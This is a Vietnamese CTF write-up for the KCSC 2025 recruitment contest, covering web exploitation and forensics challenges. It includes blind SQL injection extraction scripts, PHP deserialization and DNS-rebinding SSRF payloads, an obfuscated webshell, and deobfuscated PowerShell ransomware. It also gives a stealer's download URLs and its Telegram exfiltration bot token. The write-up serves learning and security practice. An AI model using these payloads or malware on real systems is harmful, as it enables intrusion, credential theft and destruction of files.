Write Up Tuyển Thành Viên KCSC 2025

I. Web
Cre: dunvu0
Check member
<?php
if(isset($_GET['name'])){
$name = $_GET['name'];
if(substr_count($name,'(') > 1){
die('Dont :(');
}
$mysqli = new mysqli("mysql-db", "kcsc", "kcsc", "ctf", 3306);
$result = $mysqli->query("SELECT 1 FROM members WHERE name = '$name'")->fetch_assoc();
if($result){
echo 'Found :)';
} else {
echo "Not found :(";
}
$mysqli->close();
die();
}
?>
Ở challenge này dễ thấy được có bug SQL injection tại biến $_GET['name']
Cụ thể trang web thực hiện lệnh truy vấn SELECT 1 FROM members WHERE name = '$name' - nếu câu truy vấn có kết quả thì trang web trả về chuỗi Found :), và ngược lại
-> Đây là dạng blind boolean-based sqli.
Bình thường mình sẽ dùng những hàm như substring(), mid()... để extract từng ký tự
Tuy nhiên bài này filter ký tự ( khiến việc sử dụng nhiều hàm gặp khó khăn:
if(substr_count($name,'(') > 1){
die('Dont :(');
}
-> Mình sử dụng các toán tử REGEXP, LIKE... để bypass
Và ở câu lệnh sql trên đang thực hiện truy vấn trên bảng members - mà flag mình cần thì ở bảng secrets nên mình cần phải tìm cách để control được điều kiện trả về đúng/sai của lệnh sql
Điều kiện đúng:
mysql> SELECT 1 FROM members WHERE name = 'foo' or not (select flag from secrets where flag like 'kcsc{%');
+---+
| 1 |
+---+
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
+---+
7 rows in set (0.00 sec)
Câu subquery là kiểu string và kết hợp với toán tử NOT thì
mysql> select not 'blabla';
+--------------+
| not 'blabla' |
+--------------+
| 1 |
+--------------+
1 row in set, 1 warning (0.00 sec)
-> NOT 'blabla' tương đương với True
Điều kiện sai:
mysql> SELECT 1 FROM members WHERE name = 'foo' or not (select flag from secrets where flag like 'lmao%');
Empty set (0.00 sec)
Câu subquery khi không trả về kết quả sẽ tương đương với NULL
Nhưng NOT NULL vẫn là NULL
mysql> SELECT NOT NULL; -> NULL
Payload:
GET index.php?name=foo' or not (select flag from secrets where flag like 'kcsc{%')`
import requests, string
burp0_url = "http://36.50.177.41:40009/index.php"
burp0_cookies = {"PHPSESSID": "2a84b16a4971c0c06a98bb48e6ce7e39"}
flag = "kcsc{"
charsets = string.ascii_letters + string.digits + "_{}"
while True:
for char in charsets:
payload = { "name" : f"foo' or not (select flag from secrets where flag like '{flag + char}%')-- -"}
r = requests.get(burp0_url, cookies=burp0_cookies, params=payload)
if r.text.find("Found :)") != -1:
flag += char
print(flag)
break
Flag: KCSC{sql_injection_that_de_dung_khong_nao}
Login system
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
@$data = json_decode(file_get_contents("php://input"));
$username = $data->{'username'} ?? '';
$password = $data->{'password'} ?? '';
if (!isset($users[$username])) {
$error = "User not found!!!";
echo json_encode(['error' => $error]);
exit;
} elseif ($users[$username] == $password) {
$_SESSION['user'] = $username;
echo json_encode(['success' => true, 'redirect' => '?dashboard']);
exit;
} else {
$error = "Incorrect password!!!";
echo json_encode(['error' => $error]);
exit;
}
}
Có bug Loose comparision ở biến password
'aaa' == 0
<?php
if('aaa' == 0){
echo "YES";
}
else {
echo "NOPE";
}
// YESS
intercept rồi sửa request với credential {"username":"admin","password": 0 }
Flag: KCSC{u_are_admin<333333333}
write_by_chatgpt
Để lấy được flag ta cần phải login thành công.
Có lỗi ở tính năng reset password
app.post('/reset-password-request', (req, res) => {
const username = String(req.body.username);
const sql = `SELECT * FROM users WHERE username = ?`;
db.get(sql, [username], (err, user) => {
if (err || !user) {
return res.status(400).send('User not found');
}
const resetToken = jwt.sign({ id: user.id, username: user.username }, JWT_SECRET, { expiresIn: '10m' });
const resetLink = `http://localhost:${PORT}/reset-password/${resetToken}`;
//In construction
res.send('Password reset link sent to your email');
res.send(resetLink);
});
});
app.post('/reset-password/:token', (req, res) => {
const { token } = req.params;
const newPassword = String(req.body.newPassword);
if(!uuidRegex.test(newPassword)) return res.status(400).send("Invalid new password")
jwt.verify(token, JWT_SECRET, (err, decoded) => {
if (err) {
return res.status(400).send('Invalid or expired reset token');
}
bcrypt.hash(newPassword, 10, (err, hashedPassword) => {
if (err) {
return res.status(500).send('Error hashing password');
}
const sql = `UPDATE users SET password = ? WHERE id = ?`;
db.run(sql, [hashedPassword, decoded.id], function (err) {
if (err) {
return res.status(500).send('Error updating password');
}
res.send('Password successfully reset');
});
});
});
});
Nó chỉ verify jwt token BẤT KÌ có hợp lệ hay không thay vì verify resetToken
-> Vậy mình có tái sử dụng token cũ được tạo lúc register để reset password

Exploit
Tạo một pw bất kỳ thỏa mãn hàm
uuidRegex():123e4567-e89b-12d3-a456-426614174000Tiếp tục request tới /reset-password/:token

Login với credential
dunvu0:123e4567-e89b-12d3-a456-426614174000lấy flag
Flag: KCSC{alternative_for_view_src_html_warmup_challenge}
yugioh_shop
Để lấy flag ta cần mua đủ bộ 5 lá bài "Exodia"
Tính năng /buy và /sell sử dụng quá nhiều lệnh truy vấn sql tới database để kiểm tra trạng thái user => khả năng có lỗi race condition ở đây
@app.route("/sell/<int:item_id>")
def sell(item_id):
if "user_id" not in session:
return redirect("/login")
user = query_db("SELECT * FROM users WHERE id = ?", [session["user_id"]], one=True)
transaction = query_db("SELECT * FROM transactions WHERE user_id = ? AND item_id = ?", [user[0], item_id], one=True)
if transaction:
item = query_db("SELECT * FROM items WHERE id = ?", [item_id], one=True)
query_db("DELETE FROM transactions WHERE id = ?", [transaction[0]])
query_db("UPDATE users SET balance = balance + ? WHERE id = ?", [item[2], user[0]])
flash(f"You sold {item[1]}!", "success")
else:
flash("You don't own this item.", "danger")
return redirect("/")
Vì được cấp sẵn 100k để mua 1 lá bài, mình sẽ sử dụng burp intruder để tiến hành bán liên tục.
Gửi request với null payload option, max_concurrent_request tầm 50

-> Confirm có lỗi, số dư của mình đã tăng
Mình lặp lại thao tác mua bán thêm vài lần cho tới khi đủ tiền mua đủ bộ 5 lá

Truy cập /exodia and get flag
Flag: KCSC{easy_challenge_but_the vuln_isnt_popular_with_newbies}
final mission

Sau khi tạo tài khoản và đăng nhập, ta được redirect đến /admin.php nhưng gặp lỗi 403 access denied
Ở chall này flag có hai phần, trước hết mình phải khai thác sqli để lấy được Part_1
Flag_1
admin.php
<?php
require 'db.php';
require 'utils.php';
session_start();
$stmt= $pdo->query("select * from secret");
$result = $stmt->fetch();
$tokenSecret = $_GET['secret'];
if (!isset($_SESSION['user'])||!isset($_COOKIE['Token'])||$result['secret_key']!==$tokenSecret) {
die("Access denied!");
}
$user= $_COOKIE['Token'];
$userdata = unserialize(base64_decode($user));
?>
Để truy cập vào admin.php ta cần $secret_key
$secret_key được lưu trong database cùng với Flag_1
CREATE TABLE users (
id INT AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(255) NOT NULL UNIQUE,
password VARCHAR(255) NOT NULL
);
CREATE TABLE secret (
id INT AUTO_INCREMENT PRIMARY KEY,
secret_key VARCHAR(255) NOT NULL
);
CREATE TABLE flagggg (
id INT AUTO_INCREMENT PRIMARY KEY,
flag_1 VARCHAR(255) NOT NULL
);
INSERT INTO users (username,password) VALUES ('hoshino','PASS_TEST');
INSERT INTO secret (secret_key) VALUES ('SECRET_TEST');
INSERT INTO flagggg (flag_1) VALUES ('KCSC{part1');
search.phpcó vài điểm đáng lưu ý
<?php
require 'db.php';
session_start();
if (!isset($_SESSION['user'])) {
die("Access denied!");
}
if(isset($_GET['search'])){
$username = sprintf("%s", addslashes($_GET["search"]));
$password= addslashes($_GET["search"]);
$sql = sprintf("SELECT * FROM users WHERE username LIKE '$username' OR password LIKE '%s'", $password);
$stmt= $pdo->query($sql);
$result = $stmt->fetch();
if ($result) {
echo "'FOUND "
} else {
echo "Lỗi: Không tìm thấy thông tin nào phù hợp."
}
}
?>
-> Ở biến $_GET["search"] dính lỗi sql injection, cụ thể:
$username và $password đều nhận giá trị từ param ?search= nhưng được xử lý khác nhau với hàm sprintf(), addslashes()
Ban đầu mình thử bypass hàm addslashes() với GBK encoding nhưng no hope...
Sau một hồi stuck mình chuyển hướng thử google về hàm sprintf() này:

- Usage:
%[argnum$] [flags] [width] [.precision]
Mình có thể format padding như: thêm ký tự padding thay thế bất kỳ

Và nếu padding là ký tự đặc biệt như \%&*...) thì phải có ký tự \ hoặc % đằng trước, vd: % -> \%
-> Có thể lợi dụng việc format string của sprintf() để escape hàm addslashes() -> sqli
payload: %1$\'
+ quote ' được addslash trở thành %1$\\ '
+ %: Bắt đầu format.
+ 1$: Sử dụng tham số đầu tiên. vì $sql = sprintf("SELECT ....LIKE '%s'", $password). "tham số đầu tiên" là password
+ \: Xác định ký tự padding là \
Format này vẫn chưa đúng, nhưng sprintf() hoạt động giống switch case -> khi format không xác định nó sẽ sử dụng giá trị mặc định
Câu lệnh sql khi được escaped:

SELECT * FROM users WHERE username LIKE ' Or........ ' Or 1=1;-- -%1$\''
Tham khảo:
Vậy là mình đã có thể inject vào câu query, tiến hành khai thác
import requests, string
burp0_url = "http://36.50.177.41:40010/admin.php"
burp0_cookies = {"PHPSESSID": "2a84b16a4971c0c06a98bb48e6ce7e39", "session": "eyJ1c2VyX2lkIjoyMTF9.Z43_uQ.aTEv5mbmgo5HyXPakyeeiWiyaaI", "Token": "Tzo0OiJVc2VyIjo0OntzOjg6InVzZXJuYW1lIjtzOjY6ImR1bnZ1byI7czoxMzoiAFVzZXIAaXNBZG1pbiI7TjtzOjg6InBhc3N3b3JkIjtzOjYwOiIkMnkkMTAkRXV1d0E1cDhLRnhxRjZCVi45TGNwdS81eDcucC9RQWVEbDJ4MDlKWUFoUmg5cndOZVdzRjIiO3M6MzoidXJsIjtOO30%3D"}
charset = string.ascii_letters + string.digits + "_{}"
flag = ""
# find length
for i in range(1, 100):
payload = f"?search=or+(select+length(flag_1)={i}+from+flagggg)%3b--+-%1$"
r = requests.get(burp0_url + payload, headers=burp0_headers, cookies=burp0_cookies)
if r.text.find("FOUND") != -1:
length = i
print(f"password length is: {length}")
break
# find password
for offset in range(1, length + 1):
print(f"round: {offset}")
for i in charset[::-1]:
payload = f"?search=or+(select+substr(flag_1,{offset},1)=char({ord(i)})+from+flagggg)%3b--+-%251$\\"
r = requests.get(burp0_url + payload, headers=burp0_headers, cookies=burp0_cookies)
if r.text.find("FOUND") != -1:
flag+= i
print(flag)
break
print(f"flag is: {flag}")
Part_1: KCSC{cu_ph4i_g01_l4
Flag_2
Kèm với flag_1 ta lấy luôn password của user tên hoshino và secret_key
password:
doilathethoisecret_key:
chang_biet_da_bao_lau_roi_minh_khong_co_nhau
Trở lại với admin.php:
if (!isset($_SESSION['user'])||!isset($_COOKIE['Token'])||$result['secret_key']!==$tokenSecret) {
die("Access denied!");
}
kiểm tra xem session của user có tồn tại hay không, cookie có
Tokenvà có cung cấp secret key hay không, nếu có thì sẽ unserializetokencookie.
-> Vì nó có sử dụng hàm unserialize() -> khả năng có lỗi php deserialize ở đây.
Tại utils.php có định nghĩa Class User và một số magic method:
<?php
class User
{
public $username;
private $isAdmin;
public $password;
public $url;
// Constructor
public function __construct($username = "", $password = "", $url = "")
{
$this->username = $username;
$this->password = $password;
$this->url = $url;
}
public function __wakeup(){
if($this->username === "hoshino" ){
$this->username="You are not hoshino";
}
switch($this->username){
case "hoshino":
$this->isAdmin=1;
break;
default:
$this->isAdmin=0;
}
}
public function __destruct(){
if($this->isAdmin){
$content='safe';
$result = parse_url($this->url);
var_dump($result);
if($result['scheme']!=='http' && $result['scheme']!=='https'){
$content="Not support this scheme";
}
if(isPrivateIP($result['host'])|| strlen($result['host'])<9){
$content="Private IP not allowed or Length host too short";
}
if (strpos($result['host'], '[') !== false || strpos($result['host'], ']') !== false) {
$content = "Host contains '[' or ']'.";
}
if($content==='safe'){
$options = [
'http' => [
'follow_location' => 0
]
];
$context = stream_context_create($options);
echo file_get_contents($this->url, false, $context);
}else{
echo $content;
}
}else{
echo '<div style="display: flex; justify-content: center; align-items: center; height: 100vh; margin: 1; background-color: #f9f9f9;">
<div style="background-color: #ffdddd; color: #d8000c; border: 1px solid #d8000c; border-radius: 5px; padding: 15px 20px; max-width: 300px; box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1); text-align: center;">
<strong>Error:</strong> You are not admin.
</div>
</div>';
}
}
}
__wakeup():
Thay đổi giá trị của username nếu nó là "hoshino".
Thiết lập giá trị cho thuộc tính isAdmin dựa trên giá trị của username.
__destruct():
Kiểm tra xem người dùng có phải là admin hay không.
Nếu là admin, phân tích URL và kiểm tra tính hợp lệ của nó.
Nếu URL hợp lệ, thực hiện yêu cầu HTTP và hiển thị nội dung.
Nếu URL không hợp lệ hoặc người dùng không phải là admin, hiển thị thông báo lỗi tương ứng.
Chỉ hoshino có role admin nhưng ta không thể dùng mật khẩu thu được trước đó vì login.php sử dụng password_hash()

-> Có hai cách khác để lấy được role Admin ở đây:
Để ý
__wakeup()sử dụngswitch caseđể kiểm tra username


Hoặc ta trực tiếp sửa serialize data và thực hiện fast destruct để bỏ qua hàm
__wakeup()a:2:{i:0;O:4:"User":4:{s:8:"username";s:6:"dunvuo";s:13:"�User�isAdmin";N;s:8:"password";s:3:"123";s:3:"url";s:0:"";}i:0;s:14:"useless string";}isAdminlà private property khi serialize có dạng\0ClassName\0,\0là NULL bytesref: https://blog.quarkslab.com/php-deserialization-attacks-and-a-new-gadget-chain-in-laravel.html
Hàm __destruct() kiểm tra role admin tiếp tục check tới url nếu thỏa mãn sẽ gọi tới
file_get_contents()
$content='safe';
$result = parse_url($this->url);
var_dump($result);
if($result['scheme']!=='http' && $result['scheme']!=='https'){
$content="Not support this scheme";
}
if(isPrivateIP($result['host'])|| strlen($result['host'])<9){
$content="Private IP not allowed or Length host too short";
}
if (strpos($result['host'], '[') !== false || strpos($result['host'], ']') !== false) {
$content = "Host contains '[' or ']'.";
}
if($content==='safe'){
$options = [
'http' => [
'follow_location' => 0
]
];
$context = stream_context_create($options);
echo file_get_contents($this->url, false, $context);
function isPrivateIP($input) {
if (filter_var($input, FILTER_VALIDATE_IP)) {
$ip = $input;
} else {
$ip = gethostbyname($input);
if (filter_var($ip, FILTER_VALIDATE_IP) === false) {
return false;
}
}
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
if ($ip === '127.0.0.1') {
return true;
}
$privateRanges = [
['10.0.0.0', '10.255.255.255'],
['172.16.0.0', '172.31.255.255'],
['192.168.0.0', '192.168.255.255'],
];
$ipLong = ip2long($ip);
foreach ($privateRanges as [$start, $end]) {
if ($ipLong >= ip2long($start) && $ipLong <= ip2long($end)) {
return true;
}
}
}
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)) {
if ($ip === '::1') {
return true;
}
if (strpos($ip, 'fc') === 0 || strpos($ip, 'fd') === 0) {
return true;
}
}
return false;
}
Ta có thể tận dụng file_get_contents() đọc flag_2 tại flag_final.php
<?php
$ip = $_SERVER['REMOTE_ADDR'];
if ($ip === '127.0.0.1' || $ip === '::1' || $ip === 'localhost') {
echo "Flag_part2: part2}";
} else {
echo "Bạn không có quyền truy cập vào trang này.";
exit;
}
?>
Kiểm tra và lấy địa chỉ IP:
Sử dụng
filter_var()vớiFILTER_VALIDATE_IPđể kiểm tra xem $input có phải là địa chỉ IP hợp lệ hay không.Nếu $input không phải là địa chỉ IP hợp lệ, sử dụng
gethostbyname()để lấy địa chỉ IP từ hostname.Nếu địa chỉ IP sau khi lấy từ hostname vẫn không hợp lệ, hàm trả về false.
Kiểm tra địa chỉ IPv4:
Sử dụng
filter_var()vớiFILTER_FLAG_IPV4để kiểm tra xem địa chỉ IP có phải là IPv4 hay không.Nếu địa chỉ IP là
127.0.0.1, hàm trả về true.Chuyển đổi địa chỉ IP sang dạng số nguyên bằng
ip2long(). Kiểm tra xem địa chỉ IP có nằm trong các dải địa chỉ IP riêng tư hay không.
Kiểm tra địa chỉ IPv6:
Sử dụng
filter_var()vớiFILTER_FLAG_IPV6để kiểm tra xem địa chỉ IP có phải là IPv6 hay không.Nếu địa chỉ IP là
::1, hàm trả về true.Kiểm tra xem địa chỉ IP có bắt đầu bằng
fchoặcfd(địa chỉ IPv6 riêng tư) hay không.
Mục đích cuối cùng là một url truy cập tới http://localhost/flag_final.php để đọc flag
Mình tách đoạn xử lý filter url riêng ra để tiện test


Phần filter chỉ kiểm tra với giá trị
"127.0.0.1"thay vì cả dải loopback ip127.0.0.0/8nên bất kỳ ip trong dải đều valid.Ngoài ra với linux
0.0.0.0cũng sẽ trỏ về localhost
Đây không phải intended solution của tác giả, mình gặp may nên bypass phần ip này khá dễ dàng... tobe continued...
intended: sử dụng dns rebinding
Bởi hàm isPrivateIP() xử lý có thực hiện phân giải tên miền thành ip với
gethostbyname(). sau đó lạifile_get_content()với chính url đó.Sử dụng tool _ tạo một domain có 2 lần thay đổi địa IP A, B. Khi hê thống phân giải tên miền lần đầu sẽ trỏ tới ip hợp lệ, nhưng lần phân giải thứ hai lại trỏ về localhost


Tham khảo: - https://cookiearena.org/penetration-testing/dns-rebinding-la-gi/ - https://www.youtube.com/watch?v=Xu519u5B-dM - https://danielmiessler.com/blog/dns-rebinding-explained - https://lock.cmpxchg8b.com/rebinder.html
Payload cuối cùng:
O:4:"User":4:{s:8:"username";i:0;s:13:"\0User\0isAdminN;s:8:"password";s:60:"$2y$10$EuuwA5p8KFxqF6BV.9Lcpu/5x7.p/QAeDl2x09JYAhRh9rwNeWsF2";s:3:"url";s:48:"http://01020304.c0a80001.rbndr.us/flag_final.php";}

Flag_2: D1n4N0c_K1Ch_Tr4n_B4y_Ph4p_Ph01} KCSC{Cu_Ph4i_G01_L4_D1n4_N0c_K1Ch_Tr4n_B4y_Ph4p_Ph01}
todo
Những bài sau mình không hoàn thành kịp trong thời gian diễn ra giải

Break
Ở bài này mình dễ dàng thấy được bug để đọc file flag tại route /home

Tuy nhiên ta cần có tài khoản admin để truy cập vào đường dẫn này...
Mình chuyển sang xem kỹ hơn tại tính năng register:
@app.route('/register', methods=['GET','POST'])
def register():
if request.method == 'POST':
try:
if not request.data:
return jsonify({"error": "No data provided"}), 200
data = json.loads(request.data)
username = data.get("username")
password = data.get("password")
m = re.search(r".*", username)
if m.group().strip().find("admin") == 0:
return jsonify({"message": "Invalid username"}), 200
if not username or not password:
return jsonify({"message": "Registration failed, missing fields"}), 200
if len(password) < 8:
return jsonify({"message": "Password must be at least 8 characters"}), 200
user = User()
user.username = username.strip()
user.password = password.strip()
Users.append(user)
return jsonify({"message": "Registration successful"}), 200
Có thể thấy ở đây trang web đang cố chặn người dùng đăng ký tài khoản với username là admin. Cụ thể nó sử dụng regex .* để trích xuất toàn bộ input người dùng nhập vào sau đó kiểm tra nếu username bắt đầu với chuỗi "admin" thì sẽ trả lỗi.
m = re.search(r".*", username)
if m.group().strip().find("admin") == 0:
return jsonify({"message": "Invalid username"}), 200
-> Ở đây có một vấn đề đó là: trang web thực hiện kiểm tra username trước rồi lại đi strip()
user.username = username.strip()
user.password = password.strip()
Thêm nữa dữ liệu input được xử lý bằng json.loads()
data = json.loads(request.data)
username = data.get("username")
password = data.get("password")
Trong khi cách lấy POST data thường gặp là:

-> Những chuỗi như \r \n sẽ được chuyển thành ký tự xuống dòng thực sự thay vì là "raw string"
Lý do dùng \r\nadmin bypass thành công nhưng admin\r\n thì không: Đó là vì phần kiểm tra username sử dụng regex pattern .* -> mà theo docs nói:
(Dot.) In the default mode, this matches any character EXCEPT A NEWLINE
Khi đó biến m sẽ không match được bất kỳ input nào ta nhập vào. Vậy là mình đã có thể bypass và reg được account admin

Tiếp theo chỉ cần truy cập route /home và lấy flag:
GET /home?protocol=file&host=/flag.txt
giftcard
Flag được load vào biến môi trường
FLAG = os.environ.get("FLAG", "KCSC{FAKE_FLAG}")
@app.route("/card")
def render_card():
sender = request.args.get("sender")
receiver = request.args.get("receiver")
card = Card(receiver, sender)
card_content = request.args.get("card_content")
xmas_card = "From: {card.sender}\r\nTo: {card.receiver}\r\n" + card_content
xmas_card = xmas_card.format(card=card)
return render_template("card.html", xmas_card=xmas_card)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000)
-> Lỗi tại đoạn ....format(card=card)
payload:
GET /card?card_content={card.__init__.__globals__['FLAG']}`:
-> Vì .format(card=card): không sử dụng {{}} vì {} trong trường hợp này đóng vai trò là placeholder của hàm format(), cần truyền object card vào đây.
XXD Service
Đây là một challenge black-box, trang web này cho phép người dùng upload một file bất kỳ, một điểm đáng chú ý là mặc dù tên file bị sửa random nhưng đuôi extension của file mình upload vẫn được giữ nguyên (.php)
-> Có thể RCE nếu mình có thể upload được file chứa webshell
Bên cạnh đó trang web cũng chặn một số từ khóa nguy hiểm và ta cần phải bypass

-> Bypass tag mở php với uppercase<?phP -> hàm system(), exec() thường dùng bị chặn -> ngoài ra có passthru() -> vậy payload tạm thời là <?phP passthru([$_GET['cmd']]);
Tuy nhiên khi truy cập vào file "upload_abcabc.php" thì nhận thấy nội dung file đã bị thay đổi

-> Có vẻ ở phía backend đã thực hiện một số lệnh kiểu như:
xxd filename > uploads/user_/...chall.<ext>
The xxd command is a utility used in Unix-like operating systems to create a hexadecimal dump of a file or standard input. It can also perform the reverse operation, converting a hexadecimal dump back into its original binary form.
Kết quả là webshell mình tạo đã bị rối vào đống hexdump được tạo ra, php không thể thực thi vì lỗi cú pháp
-> Bypass với comment - /**/
Payload:
<?phP /**/$a="p"/**/."ass"/**/."thr"/**/."u"; /**/$b="c"/**/."at "/**/."/f" /**/."*"; /**/$a($b);
II. Forensics
Cre: trithong1906
HDSD

Step 1
Challenge cung cấp cho em file HDSD.ad1 nên em mở bằng FTK image.
Duyệt qua các folder thì dễ dàng thấy được folder
Downloadscó voucher mà đề bài đề cập đương nhiên nó bị mã hóa rồi.

Theo đề bài thì bạn M vô tình tải file mã độc, theo kinh nghiệm của em mấy bài liên quan đến tải mã độc hay liên quan đến trình duyệt lắm nên em điều tra mấy folder của trình duyệt.
Chỉ có 1 trình duyệt được sử dụng ở máy của nạn nhân là
EDGEnếu điều tra bình thường thì sẽ không thấy được gì ở những folder của EDGE nhưng Windows 10 phiên bản 22H2 nên Microsoft Edge tích hợp chế độ IE để hỗ trợ các ứng dụng hoặc trang web cũ chỉ hoạt động trên Internet Explorer, đây là giải pháp thay thế chính thức và được Microsoft hỗ trợ lâu dài.Vì thế em đã chuyển sang folder INetCache để điều tra và đã tìm được malware.

Sở dĩ em biết tìm ở folder INetCache vì năm 2020 ở giải của mấy anh Ấn độ cũng từng có challenge liên quan đến đường dẫn như vậy nhưng đó là trên windows cũ, và trong thực tế cũng có người bắt gặp malware nằm trong đường dẫn folder tương tự như vậy https://learn.microsoft.com/en-us/answers/questions/905889/malware-found-in-c-users(username)appdatalocalmicr
Step 2
Dùng cyberchef ta sẽ xem được đoạn mã thật sự

Nhưng nó bị obfuscator dùng powerdecode để deobfuscator
iEx ((('function XOR-String { param([string]xlJInputString, [string]xlJKey) xlJinputBytes = [System.Text.Encoding]::UTF8.GetBytes(xlJInputString) xlJkeyBytes = [System.Text.Encoding]::UTF8.GetBytes(xlJKey) xlJoutputBytes = @() for (xlJi = 0; xlJi -lt xlJinputBytes.Length; xlJi++) { xlJoutputBytes += xlJinputBytes[xlJi] -bxor xlJkeyBytes[xlJi % xlJkeyBytes.Length] } return [System.Text.Encoding]::UTF8.GetString(xlJoutputBytes)}xlJPCName = xlJenv:COMPUTERNAMExlJKey = XOR-String -InputString xlJPCName -Key 6zoUwU6zoxlJIV = XOR-String -InputString xlJPCName -Key 6zoXD6zoxlJkeyBytes = [System.Text.Encoding]::UTF8.GetBytes(xlJKey.PadRight(16).Substring(0,16))xlJivBytes = [System.Text.Encoding]::UTF8.GetBytes(xlJIV.PadRight(16).Substring(0,16))function Encrypt-File { param([string]xlJInputFile, [string]xlJOutputFile) xlJaes = [System.Security.Cryptography.Aes]::Create() xlJaes.Key = xlJkeyBytes xlJaes.IV = xlJivBytes xlJencryptor = xlJaes.CreateEncryptor() xlJinputBytes = [System.IO.File]::ReadAllBytes(xlJInputFile) xlJencryptedBytes = xlJencryptor.TransformFinalBlock(xlJinputBytes, 0, xlJinputBytes.Length) [System.IO.File]::WriteAllBytes(xlJOutputFile, xlJencryptedBytes)}Get-ChildItem -File -Recurse CiE ForEach-Object { xlJinputFile = xlJ_.FullName xlJoutputFile = 6zoxlJ(xlJ_.FullName).cucked6zo Encrypt-File -InputFile xlJinputFile -OutputFile xlJoutputFile if (xlJ_.Extension -ne 6zo.cucked6zo) { Remove-Item -Path xlJinputFile -Force }}')-cReplaCe 'xlJ','$'-RepLAce '6zo','"' -RepLAce 'CiE','|'))
Cả đoạn mã thực chất đang được nhúng trong chuỗi (bị xáo trộn) và được thực thi qua iEx.
Toàn bộ cơ chế:
Lấy tên máy tính để sinh ra Key và IV.
Duyệt toàn bộ các tệp.
Mã hóa bằng AES (với Key/IV đã sinh).
Xóa tệp gốc.
Thêm đuôi
.cuckedcho file mã hóa mới.
Step 3
Giờ thì bây giờ ta chỉ cần biết được tên máy tính thì sẽ giải mã được voucher Tên máy tính thì có thể dùng registry explorer xem ở hive file SYSTEM

Step 4
Dùng script để giải:
from Crypto.Cipher import AES
def xor_string(input_str, key_str):
input_bytes = input_str.encode('utf-8')
key_bytes = key_str.encode('utf-8')
output = bytearray(input_bytes[i] ^ key_bytes[i % len(key_bytes)] for i in range(len(input_bytes)))
return output.decode('utf-8', errors='ignore')
def derive_key_and_iv(pc_name):
key_str = xor_string(pc_name, "UwU")
iv_str = xor_string(pc_name, "XD")
key_padded = (key_str + ' ' * 16)[:16]
iv_padded = (iv_str + ' ' * 16)[:16]
return key_padded.encode('utf-8'), iv_padded.encode('utf-8')
def decrypt_data(encrypted_data, key, iv):
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(encrypted_data)
pad_len = decrypted[-1]
return decrypted[:-pad_len] if pad_len > 0 and pad_len <= 16 else decrypted
def main():
PC_NAME = "DESKTOP-SH94VUS"
key, iv = derive_key_and_iv(PC_NAME)
in_file = "Voucher_hoc_bong_chuyen_auto_pass_mon.txt.cucked"
with open(in_file, "rb") as f:
encrypted_data = f.read()
decrypted_data = decrypt_data(encrypted_data, key, iv)
print(decrypted_data.decode('utf-8'))
if __name__ == "__main__":
main()
Flag
KCSC{the^?_cha^'t_KMA_la`_nhung~_niem`_dau}
Note
Có lẽ đây là hướng unintended đúng ra là nên bắt đầu từ file HDSD.chm, giải nén nó ra sẽ có đường link như thế này để download file về:

Invitation

Step 1
Challenge cung cấp cho 2 file: 1 file pdf và 1 file .cmd, nhưng trong giải lúc giải nén em không để ý là giải nén ra nó bị trùng tên và bị mất file pdf thành ra em chỉ thấy được mỗi file .cmd .cmd và em cũng không biết nó là file gì, cat thì toàn kí tự không đọc được nên em strings ra để đọc được.
Khi strings thì sẽ thấy được 2 url và 1 vài đường dẫn khác.
Quan trọng là 2 url này: https://raw.githubusercontent.com/NVex0/Asset/main/WindowsUpdate

Còn url này để tải về file Snake.zip ở đó sẽ chứa file WindowsUpdate.py https://raw.githubusercontent.com/NVex0/Asset/main/Snake.zip
Step 2
WindowsUpdate.py cho thấy đây là một mã độc dạng stealers.
Chức năng chính:
Trích xuất thông tin nhạy cảm từ các trình duyệt web được cài đặt trên máy, bao gồm:
Dữ liệu đăng nhập: Tài khoản và mật khẩu.
Thông tin thẻ tín dụng.
Cookie.
Lịch sử duyệt web.
Tệp đã tải xuống.
Cách thức hoạt động:
Lấy khóa mã hóa từ trình duyệt (master key).
Giải mã dữ liệu nhạy cảm bằng cách sử dụng thuật toán AES.
Lưu trữ dữ liệu tại thư mục:
C:\Users\Public\Snake\.Exfiltrate qua API của Telegram đến tài khoản của hacker.
Kênh gửi dữ liệu:
API Telegram:
https://api.telegram.org/bot<bot_token>/sendDocumentChat ID:
5814016276(ID của hacker).Bot Token:
6685689576:AAEZDTUeHWzc7nqK84T7IhtBKJyZ0cUbIZo.
Step 3
Dựa trên đề bài có đề cập đến destination tức là ta sẽ tập chung khai thác đích đến của dữ liệu chính là Telegram
Ta cần biết thông tin sơ bộ của con bot telegram mà hacker gửi dữ liệu đến
Đọc bài viết này để tham khảo https://core.telegram.org/bots/api#getme
Từ bài viết ta có thể truy cập vào đường link sau đây để lấy thông tin: https://api.telegram.org/bot6685689576:AAEZDTUeHWzc7nqK84T7IhtBKJyZ0cUbIZo/getMe

Giải mã chuỗi base64 Qk9UOiBLQ1NDe0V4RjFsVHJhdGkwbl8wdjNyX1QzTDNnckBtP30= ta sẽ nhận được flag
Ở challenge của viblo và các giải của HTB cũng đề cập đến API Telegram kiểu này nhưng nó khó hơn rất nhiều.
Flag
KCSC{ExF1lTrati0n_0v3r_T3L3gr@m?}
Powershell 101

Step 1
Challenge cung cấp cho file s.ps1 và folder Pictures gồm các file bị mã hóa với đuôi .enc
Phân tích file s.ps1 thì ta thấy Script này:
Lấy tất cả file ảnh (định dạng .jpg, .png, .jpeg, .bmp) từ thư mục
C:\Users\<...>\OneDrive\PicturesMã hoá dữ liệu file bằng AES CBC (với key và IV đã hardcode).
Base64 + Nén (Deflate) + Base64 lần nữa.
Ghi kết quả ra file có đuôi .enc.
Xoá file gốc.
Step 2
Em thấy có file tên là Important.enc nên đã quyết định giải mã nó trước Dùng cyberchef đi ngược lại mấy bước mã hóa ở script là được

Flag
KCSC{S0m3t1m3_R3co\_/ery_1s_EasieR_Th@n_y0u_Thought}
Automatic

Challenge cung cấp cho file Disk.ad1 nên em mở FTK.image
Q1. What is the MITRE ATT&CK sub-technique ID used for persistence?
T1547.001
Đề bài có đề cập đến persistence nên theo kinh nghiệm chơi CTF của em thì em vô folder Startup thì thấy file Recycle Bin.lnk.bat
